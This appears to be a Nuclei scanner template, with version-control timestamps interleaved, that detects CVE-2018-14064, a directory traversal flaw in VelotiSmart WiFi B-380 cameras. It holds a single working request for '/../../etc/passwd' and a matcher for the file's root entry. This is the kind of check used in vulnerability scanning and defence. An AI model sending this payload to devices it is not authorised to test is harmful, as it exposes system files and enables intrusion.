2021-09-07 12:44:38 +00:00
id : CVE-2018-14064
info :
name : VelotiSmart Wifi - Directory Traversal
author : 0x_Akoko
2021-09-10 11:26:40 +00:00
severity : critical
2022-05-13 20:26:43 +00:00
description : VelotiSmart WiFi B-380 camera devices allow directory traversal via the uc-http service 1.0.0, as demonstrated by /../../etc/passwd on TCP port 80.
2023-09-06 12:57:14 +00:00
remediation : |
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in VelotiSmart Wifi.
2021-09-07 12:44:38 +00:00
reference :
- https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
- https://www.exploit-db.com/exploits/45030
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14064
2023-11-08 06:56:05 +00:00
- https://medium.com/%40s1kr10s/velotismart-0day-ca5056bcdcac
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-14064
cwe-id : CWE-22
2023-12-12 11:07:52 +00:00
epss-score : 0.15741
2024-01-14 13:49:27 +00:00
epss-percentile : 0.95409
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:o:velotismart_project:velotismart_wifi_firmware:b-380:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : velotismart_project
product : velotismart_wifi_firmware
2023-12-05 09:50:33 +00:00
tags : edb,cve,cve2018,lfi,camera,iot,velotismart_project
2021-09-07 12:44:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-09-07 12:44:38 +00:00
- method : GET
path :
- "{{BaseURL}}/../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
- type : status
status :
- 200
2023-12-12 12:02:03 +00:00
# digest: 490a00463044022070a9c1923032ecd24d0bf75f7e81e8cbb8e34382eca31e840e0e19421ef2c4a402202a15683c39fedf1f6181dc89e56ae1f261dad92c18776b2a4c9eb1e8a5518130:922c64590222798bb761d5b6d8e72950
